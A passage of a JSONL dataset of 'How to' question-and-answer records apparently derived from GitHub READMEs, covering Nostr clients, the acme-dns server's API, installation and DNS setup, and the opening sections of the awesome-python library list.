[nostore](https://github.com/ursuscamp/nostore)![stars](https://img.shields.io/github/stars/ursuscamp/nostore.svg?style=social) - Nostr Signer Extension for iOS/macOS Safari\n- [nostrpy](https://github.com/monty888/nostrpy)![stars](https://img.shields.io/github/stars/monty888/nostrpy.svg?style=social) - relay, client, and other tooling in python (No longer being developed.)\n- [Nozzle](https://github.com/dluvian/Nozzle)![stars](https://img.shields.io/github/stars/dluvian/Nozzle.svg?style=social) - A lightweight Android client\n- [Plebstr](https://plebstr.com) - Nostr client Reimagined, the most beautiful Twitter-like nostr client for iOS & Android.\n- [rsslay](https://github.com/piraces/rsslay)![stars](https://img.shields.io/github/stars/piraces/rsslay.svg?style=social) - fork of the rsslay by @fiatjaf. a bridge that puts RSS feeds into Nostr optimized, more funcionalities and UI improvements. Live at [rsslay.nostr.moe](https://rsslay.nostr.moe/)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765042"}
{"id": "gh_19183951612e", "question": "How to: Related Resources", "question_body": "About aljazceru/awesome-nostr", "answer": "To explore other aspects of the Bitcoin and freedom tech ecosystem, check out these additional resource directories:\n\n- [dlc.wiki](https://www.dlc.wiki) - Everything you need to know about Discreet Log Contracts (DLCs), an innovative Bitcoin smart contract technology.\n- [ungovernable.tech](https://ungovernable.tech) - A collection of resources on encryption, privacy tools, and decentralized technologies.\n- [pubky.tech](https://pubky.tech) - Pubky resources, libraries, tools and applications. Pubky is an open protocol for per-public-key backends for censorship resistant web applications\n- [lightning-network.tech](https://www.lightning-network.tech/)  - A curated collection of essential tools, guides, and communities for Bitcoin Lightning Network node operators.\n- [liquidnetwork.wiki](https://liquidnetwork.wiki) - A curated list of Liquid Network resources, libraries, tools and applications\n- [ark-protocol.com](https://ark-protocol.com) - A directory of Ark protocol resources, libraries, tools and applications", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765049"}
{"id": "gh_665d5e269671", "question": "How to: Contributing", "question_body": "About aljazceru/awesome-nostr", "answer": "If you'd like to add something to this list, please submit a [Pull Request on GitHub](https://github.com/aljazceru/awesome-nostr/).\n\nThis directory is maintained by [aljaz](https://disobey.dev/contact/). Your contributions help keep this information up-to-date and valuable.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765053"}
{"id": "gh_366f52c80134", "question": "How to: Contributors", "question_body": "About aljazceru/awesome-nostr", "answer": "", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765058"}
{"id": "gh_a86f4d0db271", "question": "How to: Register endpoint", "question_body": "About joohoi/acme-dns", "answer": "The method returns a new unique subdomain and credentials needed to update your record.\nFulldomain is where you can point your own `_acme-challenge` subdomain CNAME record to.\nWith the credentials, you can update the TXT response in the service to match the challenge token, later referred as \\_\\_\\_validation\\_token\\_received\\_from\\_the\\_ca\\_\\_\\_, given out by the Certificate Authority.\n\n**Optional:**: You can POST JSON data to limit the `/update` requests to predefined source networks using CIDR notation.\n\n```POST /register```\n\n#### OPTIONAL Example input\n```json\n{\n    \"allowfrom\": [\n        \"192.168.100.1/24\",\n        \"1.2.3.4/32\",\n        \"2002:c0a8:2a00::0/40\"\n    ]\n}\n```\n\n```Status: 201 Created```\n```json\n{\n    \"allowfrom\": [\n        \"192.168.100.1/24\",\n        \"1.2.3.4/32\",\n        \"2002:c0a8:2a00::0/40\"\n    ],\n    \"fulldomain\": \"8e5700ea-a4bf-41c7-8a77-e990661dcc6a.auth.acme-dns.io\",\n    \"password\": \"htB9mR9DYgcu9bX_afHF62erXaH2TS7bg9KW3F7Z\",\n    \"subdomain\": \"8e5700ea-a4bf-41c7-8a77-e990661dcc6a\",\n    \"username\": \"c36f50e8-4632-44f0-83fe-e070fef28a10\"\n}\n```", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880884"}
{"id": "gh_1dad76537fa3", "question": "How to: Update endpoint", "question_body": "About joohoi/acme-dns", "answer": "The method allows you to update the TXT answer contents of your unique subdomain. Usually carried automatically by automated ACME client.\n\n```POST /update```\n\n#### Required headers\n| Header name   | Description                                | Example                                               |\n| ------------- |--------------------------------------------|-------------------------------------------------------|\n| X-Api-User    | UUIDv4 username received from registration | `X-Api-User: c36f50e8-4632-44f0-83fe-e070fef28a10`    |\n| X-Api-Key     | Password received from registration        | `X-Api-Key: htB9mR9DYgcu9bX_afHF62erXaH2TS7bg9KW3F7Z` |\n\n#### Example input\n```json\n{\n    \"subdomain\": \"8e5700ea-a4bf-41c7-8a77-e990661dcc6a\",\n    \"txt\": \"___validation_token_received_from_the_ca___\"\n}\n```\n\n#### Response\n\n```Status: 200 OK```\n```json\n{\n    \"txt\": \"___validation_token_received_from_the_ca___\"\n}\n```", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880901"}
{"id": "gh_c12051f3f485", "question": "How to: Health check endpoint", "question_body": "About joohoi/acme-dns", "answer": "The method can be used to check readiness and/or liveness of the server. It will return status code 200 on success or won't be reachable.\n\n```GET /health```", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880908"}
{"id": "gh_be81061160c8", "question": "How to: Self-hosted", "question_body": "About joohoi/acme-dns", "answer": "You are encouraged to run your own acme-dns instance, because you are effectively authorizing the acme-dns server to act on your behalf in providing the answer to the challenging CA, making the instance able to request (and get issued) a TLS certificate for the domain that has CNAME pointing to it.\n\nSee the INSTALL section for information on how to do this.", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880914"}
{"id": "gh_2b003af2f72a", "question": "How to: Installation", "question_body": "About joohoi/acme-dns", "answer": "1) Install [Go 1.13 or newer](https://golang.org/doc/install).\n\n2) Build acme-dns: \n```\ngit clone https://github.com/joohoi/acme-dns\ncd acme-dns\nexport GOPATH=/tmp/acme-dns\ngo build\n```\n\n3) Move the built acme-dns binary to a directory in your $PATH, for example:\n`sudo mv acme-dns /usr/local/bin`\n\n4) Edit config.cfg to suit your needs (see [configuration](#configuration)). `acme-dns` will read the configuration file from `/etc/acme-dns/config.cfg` or `./config.cfg`, or a location specified with the `-c` flag.\n\n5) If your system has systemd, you can optionally install acme-dns as a service so that it will start on boot and be tracked by systemd. This also allows us to add the `CAP_NET_BIND_SERVICE` capability so that acme-dns can be run by a user other than root.\n\n    1) Make sure that you have moved the configuration file to `/etc/acme-dns/config.cfg` so that acme-dns can access it globally.\n\n    2) Move the acme-dns executable from `~/go/bin/acme-dns` to `/usr/local/bin/acme-dns` (Any location will work, just be sure to change `acme-dns.service` to match).\n\n    3) Create a minimal acme-dns user: `sudo adduser --system --gecos \"acme-dns Service\" --disabled-password --group --home /var/lib/acme-dns acme-dns`.\n\n    4) Move the systemd service unit from `acme-dns.service` to `/etc/systemd/system/acme-dns.service`.\n\n    5) Reload systemd units: `sudo systemctl daemon-reload`.\n\n    6) Enable acme-dns on boot: `sudo systemctl enable acme-dns.service`.\n\n    7) Run acme-dns: `sudo systemctl start acme-dns.service`.\n\n6) If you did not install the systemd service, run `acme-dns`. Please note that acme-dns needs to open a privileged port (53, domain), so it needs to be run with elevated privileges.", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880922"}
{"id": "gh_d8a555837085", "question": "How to: Using Docker", "question_body": "About joohoi/acme-dns", "answer": "1) Pull the latest acme-dns Docker image: `docker pull joohoi/acme-dns`.\n\n2) Create directories: `config` for the configuration file, and `data` for the sqlite3 database.\n\n3) Copy [configuration template](https://raw.githubusercontent.com/joohoi/acme-dns/master/config.cfg) to `config/config.cfg`.\n\n4) Modify the `config.cfg` to suit your needs.\n\n5) Run Docker, this example expects that you have `port = \"80\"` in your `config.cfg`:\n```\ndocker run --rm --name acmedns                 \\\n -p 53:53                                      \\\n -p 53:53/udp                                  \\\n -p 80:80                                      \\\n -v /path/to/your/config:/etc/acme-dns:ro      \\\n -v /path/to/your/data:/var/lib/acme-dns       \\\n -d joohoi/acme-dns\n```", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880929"}
{"id": "gh_428a29562fb4", "question": "How to: Docker Compose", "question_body": "About joohoi/acme-dns", "answer": "1) Create directories: `config` for the configuration file, and `data` for the sqlite3 database.\n\n2) Copy [configuration template](https://raw.githubusercontent.com/joohoi/acme-dns/master/config.cfg) to `config/config.cfg`.\n\n3) Copy [docker-compose.yml from the project](https://raw.githubusercontent.com/joohoi/acme-dns/master/docker-compose.yml), or create your own.\n\n4) Edit the `config/config.cfg` and `docker-compose.yml` to suit your needs, and run `docker-compose up -d`.", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880935"}
{"id": "gh_5f729e754d47", "question": "How to: DNS Records", "question_body": "About joohoi/acme-dns", "answer": "Note: In this documentation:\n- `auth.example.org` is the hostname of the acme-dns server\n- acme-dns will serve `*.auth.example.org` records\n- `198.51.100.1` is the **public** IP address of the system running acme-dns  \n\nThese values should be changed based on your environment.\n\nYou will need to add some DNS records on your domain's regular DNS server:\n- `NS` record for `auth.example.org` pointing to `auth.example.org` (this means, that `auth.example.org` is responsible for any `*.auth.example.org` records)\n- `A` record for `auth.example.org` pointing to `198.51.100.1`\n- If using IPv6, an `AAAA` record pointing to the IPv6 address.\n- Each domain you will be authenticating will need a `_acme-challenge` `CNAME` subdomain added. The [client](README.md#clients) you use will explain how to do this.", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880943"}
{"id": "gh_e3bc8b635944", "question": "How to: Testing It Out", "question_body": "About joohoi/acme-dns", "answer": "You may want to test that acme-dns is working before using it for real queries.\n\n1) Confirm that DNS lookups for the acme-dns subdomain works as expected: `dig auth.example.org`.\n\n2) Call the `/register` API endpoint to register a test domain:\n```\n$ curl -X POST https://auth.example.org/register\n{\"username\":\"eabcdb41-d89f-4580-826f-3e62e9755ef2\",\"password\":\"pbAXVjlIOE01xbut7YnAbkhMQIkcwoHO0ek2j4Q0\",\"fulldomain\":\"d420c923-bbd7-4056-ab64-c3ca54c9b3cf.auth.example.org\",\"subdomain\":\"d420c923-bbd7-4056-ab64-c3ca54c9b3cf\",\"allowfrom\":[]}\n```\n\n3) Call the `/update` API endpoint to set a test TXT record. Pass the `username`, `password` and `subdomain` received from the `register` call performed above:\n```\n$ curl -X POST \\\n  -H \"X-Api-User: eabcdb41-d89f-4580-826f-3e62e9755ef2\" \\\n  -H \"X-Api-Key: pbAXVjlIOE01xbut7YnAbkhMQIkcwoHO0ek2j4Q0\" \\\n  -d '{\"subdomain\": \"d420c923-bbd7-4056-ab64-c3ca54c9b3cf\", \"txt\": \"___validation_token_received_from_the_ca___\"}' \\\n  https://auth.example.org/update\n```\n\nNote: The `txt` field must be exactly 43 characters long, otherwise acme-dns will reject it\n\n4) Perform a DNS lookup to the test subdomain to confirm the updated TXT record is being served:\n```\n$ dig -t txt @auth.example.org d420c923-bbd7-4056-ab64-c3ca54c9b3cf.auth.example.org\n```", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880952"}
{"id": "gh_713d2c9780f9", "question": "How to: predefined records served in addition to the TXT", "question_body": "About joohoi/acme-dns", "answer": "records = [\n    # domain pointing to the public IP of your acme-dns server \n    \"auth.example.org. A 198.51.100.1\",\n    # specify that auth.example.org will resolve any *.auth.example.org records\n    \"auth.example.org. NS auth.example.org.\",\n]", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2607, "answer_score": 10, "has_code": true, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880962"}
{"id": "gh_4dd4b9b60997", "question": "How to: only used if tls = \"cert\"", "question_body": "About joohoi/acme-dns", "answer": "tls_cert_privkey = \"/etc/tls/example.org/privkey.pem\"\ntls_cert_fullchain = \"/etc/tls/example.org/fullchain.pem\"", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880971"}
{"id": "gh_9a7cb75d8b64", "question": "How to: Authentication hooks", "question_body": "About joohoi/acme-dns", "answer": "- acme-dns-client with Certbot authentication hook: [https://github.com/acme-dns/acme-dns-client](https://github.com/acme-dns/acme-dns-client)\n- Certbot authentication hook in Python:  [https://github.com/joohoi/acme-dns-certbot-joohoi](https://github.com/joohoi/acme-dns-certbot-joohoi)\n- Certbot authentication hook in Go: [https://github.com/koesie10/acme-dns-certbot-hook](https://github.com/koesie10/acme-dns-certbot-hook)", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880984"}
{"id": "gh_f662e8566871", "question": "How to: Contributing", "question_body": "About joohoi/acme-dns", "answer": "acme-dns is open for contributions.\nIf you have an idea for improvement, please open an new issue or feel free to write a PR!", "tags": ["joohoi"], "source": "github_gists", "category": "joohoi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2607, "answer_score": 10, "has_code": false, "url": "https://github.com/joohoi/acme-dns", "collected_at": "2026-01-17T12:59:52.880995"}
{"id": "gh_f7ceb5c8192f", "question": "How to: Awesome Python [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome)", "question_body": "About vinta/awesome-python", "answer": "An opinionated list of awesome Python frameworks, libraries, software and resources.\n\nInspired by [awesome-php](https://github.com/ziadoz/awesome-php).\n\n- [Awesome Python](#awesome-python)\n  - [Admin Panels](#admin-panels)\n  - [Algorithms and Design Patterns](#algorithms-and-design-patterns)\n  - [ASGI Servers](#asgi-servers)\n  - [Asynchronous Programming](#asynchronous-programming)\n  - [Audio](#audio)\n  - [Authentication](#authentication)\n  - [Build Tools](#build-tools)\n  - [Built-in Classes Enhancement](#built-in-classes-enhancement)\n  - [Caching](#caching)\n  - [CMS](#cms)\n  - [Code Analysis](#code-analysis)\n  - [Command-line Interface Development](#command-line-interface-development)\n  - [Command-line Tools](#command-line-tools)\n  - [Computer Vision](#computer-vision)\n  - [Configuration Files](#configuration-files)\n  - [Cryptography](#cryptography)\n  - [Data Analysis](#data-analysis)\n  - [Data Validation](#data-validation)\n  - [Data Visualization](#data-visualization)\n  - [Database Drivers](#database-drivers)\n  - [Database](#database)\n  - [Date and Time](#date-and-time)\n  - [Debugging Tools](#debugging-tools)\n  - [Deep Learning](#deep-learning)\n  - [DevOps Tools](#devops-tools)\n  - [Distributed Computing](#distributed-computing)\n  - [Distribution](#distribution)\n  - [Documentation](#documentation)\n  - [Downloader](#downloader)\n  - [Editor Plugins and IDEs](#editor-plugins-and-ides)\n  - [Email](#email)\n  - [Environment Management](#environment-management)\n  - [File Manipulation](#file-manipulation)\n  - [Functional Programming](#functional-programming)\n  - [Game Development](#game-development)\n  - [Geolocation](#geolocation)\n  - [GUI Development](#gui-development)\n  - [Hardware](#hardware)\n  - [HTML Manipulation](#html-manipulation)\n  - [HTTP Clients](#http-clients)\n  - [Image Processing](#image-processing)\n  - [Implementations](#implementations)\n  - [Interactive Interpreter](#interactive-interpreter)\n  - [Internationalization](#internationalization)\n  - [Job Scheduler](#job-scheduler)\n  - [Logging](#logging)\n  - [Machine Learning](#machine-learning)\n  - [Miscellaneous](#miscellaneous)\n  - [Natural Language Processing](#natural-language-processing)\n  - [Network Virtualization](#network-virtualization)\n  - [ORM](#orm)\n  - [Package Management](#package-management)\n  - [Package Repositories](#package-repositories)\n  - [Penetration testing](#penetration-testing)\n  - [Permissions](#permissions)\n  - [Processes](#processes)\n  - [Recommender Systems](#recommender-systems)\n  - [Refactoring](#refactoring)\n  - [RESTful API](#restful-api)\n  - [Robotics](#robotics)\n  - [RPC Servers](#rpc-servers)\n  - [Science](#science)\n  - [Search](#search)\n  - [Serialization](#serialization)\n  - [Serverless Frameworks](#serverless-frameworks)\n  - [Shell](#shell)\n  - [Specific Formats Processing](#specific-formats-processing)\n  - [Static Site Generator](#static-site-generator)\n  - [Task Queues](#task-queues)\n  - [Template Engine](#template-engine)\n  - [Testing](#testing)\n  - [Text Processing](#text-processing)\n  - [URL Manipulation](#url-manipulation)\n  - [Video](#video)\n  - [Web Asset Management](#web-asset-management)\n  - [Web Content Extracting](#web-content-extracting)\n  - [Web Crawling](#web-crawling)\n  - [Web Frameworks](#web-frameworks)\n  - [WebSocket](#websocket)\n  - [WSGI Servers](#wsgi-servers)\n- [Resources](#resources)\n  - [Newsletters](#newsletters)\n  - [Podcasts](#podcasts)\n- [Contributing](#contributing)\n\n---", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116916"}
{"id": "gh_ec63123321ab", "question": "How to: Admin Panels", "question_body": "About vinta/awesome-python", "answer": "_Libraries for administrative interfaces._\n\n- [ajenti](https://github.com/ajenti/ajenti) - The admin panel your servers deserve.\n- [django-grappelli](https://github.com/sehmaschine/django-grappelli) - A jazzy skin for the Django Admin-Interface.\n- [django-unfold](https://github.com/unfoldadmin/django-unfold) - Elevate your Django admin with a stunning modern interface, powerful features, and seamless user experience.\n- [flask-admin](https://github.com/flask-admin/flask-admin) - Simple and extensible administrative interface framework for Flask.\n- [flower](https://github.com/mher/flower) - Real-time monitor and web admin for Celery.\n- [func-to-web](https://github.com/offerrall/FuncToWeb) - Instantly create web UIs from Python functions using type hints. Zero frontend code required.\n- [jet-bridge](https://github.com/jet-admin/jet-bridge) - Admin panel framework for any application with nice UI (ex Jet Django).\n- [streamlit](https://github.com/streamlit/streamlit) - A framework which lets you build dashboards, generate reports, or create chat apps in minutes.\n- [wooey](https://github.com/wooey/wooey) - A Django app which creates automatic web UIs for Python scripts.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116934"}
{"id": "gh_b8df0a96c489", "question": "How to: Algorithms and Design Patterns", "question_body": "About vinta/awesome-python", "answer": "_Python implementation of data structures, algorithms and design patterns. Also see [awesome-algorithms](https://github.com/tayllan/awesome-algorithms)._\n\n- Algorithms\n  - [algorithms](https://github.com/keon/algorithms) - Minimal examples of data structures and algorithms.\n  - [python-ds](https://github.com/prabhupant/python-ds) - A collection of data structure and algorithms for coding interviews.\n  - [sortedcontainers](https://github.com/grantjenks/python-sortedcontainers) - Fast and pure-Python implementation of sorted collections.\n  - [thealgorithms](https://github.com/TheAlgorithms/Python) - All Algorithms implemented in Python.\n- Design Patterns\n  - [pypattyrn](https://github.com/tylerlaberge/PyPattyrn) - A simple yet effective library for implementing common design patterns.\n  - [python-patterns](https://github.com/faif/python-patterns) - A collection of design patterns in Python.\n  - [transitions](https://github.com/pytransitions/transitions) - A lightweight, object-oriented finite state machine implementation.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116943"}
{"id": "gh_25f4055675b1", "question": "How to: ASGI Servers", "question_body": "About vinta/awesome-python", "answer": "_[ASGI](https://asgi.readthedocs.io/en/latest/)-compatible web servers._\n\n- [daphne](https://github.com/django/daphne) - A HTTP, HTTP2 and WebSocket protocol server for ASGI and ASGI-HTTP.\n- [granian](https://github.com/emmett-framework/granian) - Granian is a Rust HTTP server for Python applications built on top of Hyper and Tokio,supporting WSGI/ASGI/RSGI.\n- [hypercorn](https://github.com/pgjones/hypercorn) - An ASGI and WSGI Server based on Hyper libraries and inspired by Gunicorn.\n- [uvicorn](https://github.com/encode/uvicorn) - A lightning-fast ASGI server implementation, using uvloop and httptools.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116949"}
{"id": "gh_b3b505a3fd69", "question": "How to: Asynchronous Programming", "question_body": "About vinta/awesome-python", "answer": "_Libraries for asynchronous, concurrent and parallel execution. Also see [awesome-asyncio](https://github.com/timofurrer/awesome-asyncio)._\n\n- [asyncio](https://docs.python.org/3/library/asyncio.html) - (Python standard library) Asynchronous I/O, event loop, coroutines and tasks.\n  - [awesome-asyncio](https://github.com/timofurrer/awesome-asyncio)\n- [concurrent.futures](https://docs.python.org/3/library/concurrent.futures.html) - (Python standard library) A high-level interface for asynchronously executing callables.\n- [gevent](https://github.com/gevent/gevent) - A coroutine-based Python networking library that uses [greenlet](https://github.com/python-greenlet/greenlet).\n- [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) - (Python standard library) Process-based parallelism.\n- [trio](https://github.com/python-trio/trio) - A friendly library for async concurrency and I/O.\n- [twisted](https://github.com/twisted/twisted) - An event-driven networking engine.\n- [uvloop](https://github.com/MagicStack/uvloop) - Ultra fast asyncio event loop.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116955"}
{"id": "gh_3657b8c4e05a", "question": "How to: Authentication", "question_body": "About vinta/awesome-python", "answer": "_Libraries for implementing authentication schemes._\n\n- OAuth\n  - [authlib](https://github.com/lepture/authlib) - JavaScript Object Signing and Encryption draft implementation.\n  - [django-allauth](https://github.com/pennersr/django-allauth) - Authentication app for Django that \"just works.\"\n  - [django-oauth-toolkit](https://github.com/jazzband/django-oauth-toolkit) - OAuth 2 goodies for Django.\n  - [oauthlib](https://github.com/oauthlib/oauthlib) - A generic and thorough implementation of the OAuth request-signing logic.\n- JWT\n  - [pyjwt](https://github.com/jpadilla/pyjwt) - JSON Web Token implementation in Python.\n  - [python-jose](https://github.com/mpdavis/python-jose/) - A JOSE implementation in Python.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116963"}
{"id": "gh_0422bad549f2", "question": "How to: Build Tools", "question_body": "About vinta/awesome-python", "answer": "_Compile software from source code._\n\n- [bitbake](https://github.com/openembedded/bitbake) - A make-like build tool for embedded Linux.\n- [buildout](https://github.com/buildout/buildout) - A build system for creating, assembling and deploying applications from multiple parts.\n- [platformio](https://github.com/platformio/platformio-core) - A console tool to build code with different development platforms.\n- [pybuilder](https://github.com/pybuilder/pybuilder) - A continuous build tool written in pure Python.\n- [scons](https://github.com/SCons/scons) - A software construction tool.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116968"}
{"id": "gh_7ace7ee5ddd2", "question": "How to: Built-in Classes Enhancement", "question_body": "About vinta/awesome-python", "answer": "_Libraries for enhancing Python built-in classes._\n\n- [attrs](https://github.com/python-attrs/attrs) - Replacement for `__init__`, `__eq__`, `__repr__`, etc. boilerplate in class definitions.\n- [bidict](https://github.com/jab/bidict) - Efficient, Pythonic bidirectional map data structures and related functionality..\n- [box](https://github.com/cdgriffith/Box) - Python dictionaries with advanced dot notation access.\n- [dataclasses](https://docs.python.org/3/library/dataclasses.html) - (Python standard library) Data classes.\n- [dotteddict](https://github.com/carlosescri/DottedDict) - A library that provides a method of accessing lists and dicts with a dotted path notation.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116974"}
{"id": "gh_2e790b56cf90", "question": "How to: Code Analysis", "question_body": "About vinta/awesome-python", "answer": "_Tools of static analysis, linters and code quality checkers. Also see [awesome-static-analysis](https://github.com/mre/awesome-static-analysis)._\n\n- Code Analysis\n  - [code2flow](https://github.com/scottrogowski/code2flow) - Turn your Python and JavaScript code into DOT flowcharts.\n  - [prospector](https://github.com/PyCQA/prospector) - A tool to analyze Python code.\n  - [vulture](https://github.com/jendrikseipp/vulture) - A tool for finding and analyzing dead Python code.\n- Code Linters\n  - [flake8](https://github.com/PyCQA/flake8) - A wrapper around `pycodestyle`, `pyflakes` and McCabe.\n    - [awesome-flake8-extensions](https://github.com/DmytroLitvinov/awesome-flake8-extensions)\n  - [pylint](https://github.com/pylint-dev/pylint) - A fully customizable source code analyzer.\n  - [ruff](https://github.com/astral-sh/ruff) - An extremely fast Python linter and code formatter.\n- Code Formatters\n  - [black](https://github.com/psf/black) - The uncompromising Python code formatter.\n  - [isort](https://github.com/timothycrosley/isort) - A Python utility / library to sort imports.\n  - [yapf](https://github.com/google/yapf) - Yet another Python code formatter from Google.\n- Static Type Checkers, also see [awesome-python-typing](https://github.com/typeddjango/awesome-python-typing)\n  - [mypy](https://github.com/python/mypy) - Check variable types during compile time.\n  - [pyre-check](https://github.com/facebook/pyre-check) - Performant type checking.\n  - [ty](https://github.com/astral-sh/ty) - An extremely fast Python type checker and language server.\n  - [typeshed](https://github.com/python/typeshed) - Collection of library stubs for Python, with static types.\n- Static Type Annotations Generators\n  - [monkeytype](https://github.com/Instagram/MonkeyType) - A system for Python that generates static type annotations by collecting runtime types.\n  - [pytype](https://github.com/google/pytype) - Pytype checks and infers types for Python code - without requiring type annotations.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 278605, "answer_score": 10, "has_code": true, "url": "https://github.com/vinta/awesome-python", "collected_at": "2026-01-17T12:59:57.116983"}
{"id": "gh_964e05e7c72e", "question": "How to: Command-line Interface Development", "question_body": "About vinta/awesome-python", "answer": "_Libraries for building command-line applications._\n\n- Command-line Application Development\n  - [cement](https://github.com/datafolklabs/cement) - CLI Application Framework for Python.\n  - [click](https://github.com/pallets/click/) - A package for creating beautiful command line interfaces in a composable way.\n  - [cliff](https://github.com/openstack/cliff) - A framework for creating command-line programs with multi-level commands.\n  - [python-fire](https://github.com/google/python-fire) - A library for creating command line interfaces from absolutely any Python object.\n  - [python-prompt-toolkit](https://github.com/prompt-toolkit/python-prompt-toolkit) - A library for building powerful interactive command lines.\n  - [Typer](https://github.com/tiangolo/typer) - Modern CLI framework that uses Python type hints. Built on Click and Pydantic.\n- Terminal Rendering\n  - [alive-progress](https://github.com/rsalmei/alive-progress) - A new kind of Progress Bar, with real-time throughput, eta and very cool animations.\n  - [asciimatics](https://github.com/peterbrittain/asciimatics) - A package to create full-screen text UIs (from interactive forms to ASCII animations).\n  - [bashplotlib](https://github.com/glamp/bashplotlib) - Making basic plots in the terminal.\n  - [colorama](https://github.com/tartley/colorama) - Cross-platform colored terminal text.\n  - [rich](https://github.com/Textualize/rich) - Python library for rich text and beautiful formatting in the terminal. Also provides a great `RichHandler` log handler.\n  - [tqdm](https://github.com/tqdm/tqdm) - Fast, extensible progress bar for loops and CLI.", "tags": ["vinta"], "source": "github_gists", "category": "vinta", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 278605, "answer_score": 10, "has_code": false, "url": "https://github.com/vinta/awesome-python", "collected_at": 